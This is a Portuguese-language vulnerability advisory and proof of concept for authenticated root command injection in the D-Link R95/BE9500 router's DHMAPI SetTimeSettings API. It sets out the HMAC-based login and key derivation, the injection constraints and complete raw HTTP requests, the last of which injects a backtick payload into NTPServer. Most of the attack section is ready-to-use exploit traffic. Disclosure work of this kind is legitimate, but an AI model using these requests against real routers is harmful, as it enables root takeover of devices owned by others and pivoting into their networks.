
PoC de injeção de comando autenticada para D-Link R95/BE9500 DHMAPI SetTimeSettings, alcançando RCE como root via injeção de backtick no NTPServer, com script de exploit completo.
O D-Link R95 BE9500 Wi-Fi 7 Smart Router (versão de firmware BE9500_1.00.16) contém uma vulnerabilidade de injeção de comandos na interface DHMAPI (SOAP sobre HTTPS) ao processar requisições SetTimeSettings. O campo <NTPServer> controlado pelo usuário é armazenado no banco de dados de configuração sem qualquer sanitização ou validação de metacaracteres de shell. Posteriormente, quando a configuração é sincronizada para o UCI (ntpclient.@ntpserver[0].hostname), o serviço backend vulnerável constrói e executa um comando de shell entre aspas duplas por meio de uma chamada do tipo system(). Ao injetar crases (```) no valor de <NTPServer>, um atacante pode obter substituição de comando — o shell avalia o conteúdo injetado antes de executar o comando concatenado, permitindo execução arbitrária de comandos com privilégios de root (uid=0).
O ataque requer uma sessão válida de gerenciamento web (sid) obtida por meio de acesso autenticado (testado com a conta de administrador Admin). Essa vulnerabilidade é ainda amplificada pelas credenciais padrão fracas do dispositivo ou por possíveis problemas de bypass de autenticação, expandindo significativamente a superfície de ataque no mundo real.
Um atacante autenticado pode executar comandos arbitrários com privilégios de root, levando ao comprometimento total do dispositivo — incluindo leitura de arquivos sensíveis (por exemplo, o texto cifrado de /etc/rg_config/admin, extração de backups completos de configuração), instalação de backdoors persistentes, estabelecimento de reverse shells e pivô para a rede interna para ataques de movimento lateral.
A vulnerabilidade reside no binário de backend de gerenciamento web /bin/ssi (executado como root), que implementa a interface SOAP DHMAPI.
Fonte de contaminação (taint source) — o handler SetTimeSettings (função no offset 0x6bd84 em ssi, firmware 1.01B06):
<NTPServer> da requisição SOAP para um buffer de pilha, com limite de comprimento de 0x3f (63 bytes) — este é um limite de tamanho de buffer, não uma verificação de segurança.time.value.NTPServer por meio de um setter interno — nenhuma filtragem ou escape de metacaracteres de shell é realizada em nenhum momento.Destino da contaminação (taint sink) — sincronização de configuração para o UCI. O ssi sincroniza valores de configuração concatenando-os em strings de comando de shell executadas por meio de chamadas do tipo system(). Strings de formato embutidas encontradas no binário incluem:
uci set %s="%s" > /dev/null
Como o valor é envolvido por aspas duplas, o shell realiza substituição de comando em crases (`) / $() dentro do valor antes de executar o comando concatenado. Como o ssi é executado como root, o comando injetado é executado com privilégios de root.
Evidências de temporização confirmam que a avaliação ocorre de forma síncrona dentro do caminho de tratamento da requisição: injetar `sleep 10` atrasa a resposta HTTP em ~10 segundos. O valor envenenado também persiste no UCI (ntpclient.@ntpserver[0].hostname) e posteriormente é consumido sem aspas por /bin/start_ntpclient.sh (ntpclient -s -h $HOSTNAME), uma lacuna secundária de hardening.
Restrições de exploração (verificadas):
| Restrição | Resultado verificado |
|---|---|
| Comprimento do campo | ≤ 63 bytes aceitos; 60 bytes OK, 80 bytes rejeitados (HTTP 400) |
Caractere & | Não pode aparecer (quebra a linha de comando concatenada) |
| Sintaxe de injeção | Crases `cmd` verificadas; espera-se que $(cmd) funcione igualmente |
| Contexto de execução | uid=0(root) gid=0(root) |
| Canal de saída | Sem eco direto; redirecionar para a raiz web (> /www/<file>) e recuperar via HTTP GET |
Todas as requisições DHMAPI devem conter:
Cookie: uid=<session cookie> (do login)API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>API-ACTION / SOAPAction correspondentes à ação SOAP, além de User-Agent e Referer (UA/Referer ausentes resultam em HTTP 400/500)ts é um timestamp em milissegundos; o dispositivo não valida a atualidade, então um valor fixo é reutilizávelDerivação de privkey:
Login / Action=request (assinado com a string de chave estática withoutloginkey) retorna Challenge, Cookie, PublicKey, SaltHashe = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (ou a senha em texto claro quando SaltHash está ausente)privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))Login / Action=login com o acima retorna <LoginResult>success</LoginResult>; requisições subsequentes usam Cookie: uid=<step-1 Cookie> assinado com privkeyPOST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>
Esperado: <LoginResult>success</LoginResult>.

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>
